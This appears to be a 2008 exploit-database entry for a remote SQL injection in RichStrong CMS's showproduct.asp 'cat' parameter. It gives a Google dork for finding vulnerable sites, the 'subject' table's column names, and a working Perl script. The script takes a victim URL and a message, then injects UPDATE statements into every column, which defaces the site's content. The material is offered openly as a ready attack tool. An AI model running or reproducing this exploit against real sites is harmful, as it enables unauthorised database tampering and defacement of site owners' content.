RichStrong CMS (showproduct.asp cat) Remote SQL Injection Exploit

🗓️ 15 Jan 2008 00:00:00Reported by RootType
Remote SQL Injection in RichStrong CMS on showproduct.asp ca

                                                --==+===================&nbsp;Spanish&nbsp;Hackers&nbsp;Team&nbsp;(www.spanish-hackers.com)&nbsp;=================+==--
--==+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RichStrong&nbsp;CMS&nbsp;&nbsp;(showproduct.asp?cat=)&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Exploit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+====================================================================================+==--
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[+]&nbsp;[JosS]&nbsp;+&nbsp;[Spanish&nbsp;Hackers&nbsp;Team]&nbsp;+&nbsp;[Sys&nbsp;-&nbsp;Project]

[+]&nbsp;Info:

[~]&nbsp;Software:&nbsp;RichStrong&nbsp;CMS
[~]&nbsp;HomePage:&nbsp;http://www.hzrich.cn
[~]&nbsp;Exploit:&nbsp;Remote&nbsp;Sql&nbsp;Injection&nbsp;[High]
[~]&nbsp;Where:&nbsp;showproduct.asp?cat=
[~]&nbsp;Bug&nbsp;Found&nbsp;By:&nbsp;JosS
[~]&nbsp;Contact:&nbsp;sys-project[at]hotmail.com
[~]&nbsp;Web:&nbsp;http://www.spanish-hackers.com
[~]&nbsp;Dork:&nbsp;&quot;Power&nbsp;by:RichStrong&nbsp;CMS&quot;
[~]&nbsp;Dork2:&nbsp;Priv8,&nbsp;xD!

[+]&nbsp;Tables:

[*]&nbsp;Table&nbsp;1:&nbsp;subject

[+]&nbsp;Columns:

[*]&nbsp;Column&nbsp;1:&nbsp;id
[*]&nbsp;Column&nbsp;2:&nbsp;subjectname
[*]&nbsp;Column&nbsp;3:&nbsp;subjecttype
[*]&nbsp;Column&nbsp;4:&nbsp;displayorder
[*]&nbsp;Column&nbsp;5:&nbsp;description
[*]&nbsp;Column&nbsp;6:&nbsp;layout
[*]&nbsp;Column&nbsp;7:&nbsp;style
[*]&nbsp;Column&nbsp;8:&nbsp;category
[*]&nbsp;Column&nbsp;9:&nbsp;workflowID_R
[*]&nbsp;Column&nbsp;10:&nbsp;workflowID_S
[*]&nbsp;Column&nbsp;11:&nbsp;status
[*]&nbsp;Column&nbsp;12:&nbsp;owner
[*]&nbsp;Column&nbsp;13:&nbsp;isinherit
[*]&nbsp;Column&nbsp;14:&nbsp;doclistcount
[*]&nbsp;Column&nbsp;15:&nbsp;docstyle
[*]&nbsp;Column&nbsp;16:&nbsp;docsecrettype
[*]&nbsp;Column&nbsp;17:&nbsp;docpubdays
[*]&nbsp;Column&nbsp;18:&nbsp;wwwname
[*]&nbsp;Column&nbsp;19:&nbsp;logo
[*]&nbsp;Column&nbsp;20:&nbsp;contactus

[+]&nbsp;Exploit:


#!/usr/bin/perl

#&nbsp;RichStrong&nbsp;CMS&nbsp;-&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Exploit
#&nbsp;Code&nbsp;by&nbsp;JosS
#&nbsp;Contact:&nbsp;sys-project[at]hotmail.com
#&nbsp;Spanish&nbsp;Hackers&nbsp;Team
#&nbsp;www.spanish-hackers.com

use&nbsp;IO::Socket::INET;
use&nbsp;LWP::UserAgent;
use&nbsp;HTTP::Request;
use&nbsp;LWP::Simple;

sub&nbsp;lw
{

my&nbsp;$SO&nbsp;=&nbsp;$^O;
my&nbsp;$linux&nbsp;=&nbsp;&quot;&quot;;
if&nbsp;(index(lc($SO),&quot;win&quot;)!=-1){
		&nbsp;&nbsp;&nbsp;$linux=&quot;0&quot;;
	&nbsp;&nbsp;&nbsp;&nbsp;}else{
		&nbsp;&nbsp;&nbsp;&nbsp;$linux=&quot;1&quot;;
	&nbsp;&nbsp;&nbsp;&nbsp;}
		if($linux){
system(&quot;clear&quot;);
}
else{
system(&quot;cls&quot;);
system&nbsp;(&quot;title&nbsp;RichStrong&nbsp;CMS&nbsp;-&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Exploit&nbsp;-&nbsp;By&nbsp;JosS&quot;);
system&nbsp;(&quot;color&nbsp;02&quot;);
}

}

#***************************&nbsp;expl&nbsp;******************************


&amp;lw;

print&nbsp;&quot;\t\t########################################################\n\n&quot;;
print&nbsp;&quot;\t\t#&nbsp;&nbsp;&nbsp;&nbsp;RichStrong&nbsp;CMS&nbsp;-&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Exploit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n\n&quot;;
print&nbsp;&quot;\t\t#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;by&nbsp;JosS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n\n&quot;;
print&nbsp;&quot;\t\t########################################################\n\n&quot;;

print&nbsp;&quot;Url&nbsp;Victim&nbsp;(Ex:&nbsp;www.localhost/showproduct.asp?cat=):&nbsp;&nbsp;&quot;;
$host=&lt;STDIN&gt;;
chomp&nbsp;$host;
print&nbsp;&quot;\n&quot;;

&nbsp;&nbsp;if&nbsp;(&nbsp;$host&nbsp;&nbsp;&nbsp;!~&nbsp;&nbsp;&nbsp;/^http:/&nbsp;)&nbsp;{

&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;lo&nbsp;a&amp;ntilde;adimos
&nbsp;&nbsp;&nbsp;&nbsp;$host&nbsp;=&nbsp;'http://'&nbsp;.&nbsp;$host;
}


print&nbsp;&quot;Message:&nbsp;&quot;;
$message=&lt;STDIN&gt;;
chomp&nbsp;$message;
print&nbsp;&quot;\n&quot;;

@columnas=(&quot;id&quot;,&quot;subjectname&quot;,&quot;subjecttype&quot;,&quot;displayorder&quot;,&quot;description&quot;,&quot;layout&quot;,&quot;style&quot;,&quot;category&quot;,&quot;workflowID_R&quot;,&quot;workflowID_S&quot;,&quot;status&quot;,&quot;owner&quot;,
&quot;isinherit&quot;,&quot;doclistcount&quot;,&quot;docstyle&quot;,&quot;docsecrettype&quot;,&quot;docpubdays&quot;,&quot;wwwname&quot;,&quot;logo&quot;,&quot;contactus&quot;);


for&nbsp;($i=0;$i&lt;=21;$i++)

{

$comando=&quot;'%20update%20subject%20set%20$columnas[$i]='&lt;h1&gt;$message'--&quot;;
$comando&nbsp;=~&nbsp;s/&nbsp;/+/g;

my&nbsp;$final&nbsp;=&nbsp;$host.$comando;
my&nbsp;$ua&nbsp;=&nbsp;LWP::UserAgent-&gt;new;
my&nbsp;$req&nbsp;=&nbsp;HTTP::Request-&gt;new(GET&nbsp;=&gt;&nbsp;$final);
$doc&nbsp;=&nbsp;$ua-&gt;request($req)-&gt;as_string;

print&nbsp;&quot;update:&nbsp;$columnas[$i]\n&quot;;

}



--==+===================&nbsp;Spanish&nbsp;Hackers&nbsp;Team&nbsp;(www.spanish-hackers.com)&nbsp;=================+==--
--==+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JosS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+====================================================================================+==--
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[+]&nbsp;[The&nbsp;End]
15 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1